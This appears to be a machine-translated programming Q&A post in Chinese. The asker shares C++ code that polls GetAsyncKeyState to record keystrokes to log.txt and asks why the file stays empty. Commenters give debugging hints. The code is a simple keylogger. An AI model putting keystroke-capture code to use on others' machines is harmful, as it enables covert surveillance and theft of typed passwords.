我正在使用代碼塊中的GNU GCC編譯器編譯此代碼,但由於某些原因,它創建的日誌文件無論如何都保持爲空。任何想法,爲什麼這可能是?將密鑰輸入寫入文件
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
s+=i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s+=" ";
}
}
log << s;
log.close();
cin.get();
}
你期望什麼's + = i;'給定's'是一個字符串而'i'是一個'int'? –
您是否嘗試在日誌中輸出* something *?就像測試把'log <<「TEST」;'放在某處。 – jli
即使我包含log <<「TEST」之類的東西,也不會寫入文件 –